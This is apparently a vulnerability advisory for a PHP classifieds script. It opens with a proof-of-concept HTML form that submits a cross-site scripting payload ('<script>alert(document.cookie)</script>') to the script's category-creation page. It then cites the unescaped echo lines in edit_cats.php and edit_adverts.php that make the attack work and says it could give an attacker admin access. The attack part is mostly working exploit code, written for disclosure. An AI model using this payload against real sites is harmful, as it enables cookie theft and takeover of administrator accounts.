[+] 1st exploit:
-------------------------------------------------------------------

<form name="new_category" action="http://[server]/classified/new_cats.php" method="POST">
<table align="center" width="550" border="0" cellspacing="1" cellpadding="1">
      <tr>
        <input name="category"  type="hidden" value="hacked" size="37" maxlength="30" />
      </tr>
      <tr>
          <input name="description" type="hidden" value="<script>alert(document.cookie)</script>" size="40" maxlength="40" />
    </tr>
    <tr>
        <input type="submit" name="Create" id="Create" value="Create" >
    </tr>
</table>
</form>

-------------------------------------------------------------------
[+] Vulnerability details:
-------------------------------------------------------------------

The author directly includes user controlled php variable into the HTML page ($ar and $description).

edit_cats.php - line 86:
<td align="center">Description: 
    <input name="description" type="text" value="<?php echo "$description";?>" autocomplete="off" size="40" maxlength="40" />
    </td>
</tr>
    
    
edit_adverts.php - line 120:
<td colspan="2" align="center" style="font-size:14px"><?php echo "<b>$ar</b>"; ?> </td>


In order to trigger the vulnerability, a user/admin must be tricked into clicking on a malicous url.
This would allow a hacker to execute javascript code in the context of the user/admin and possibly gain administration access.
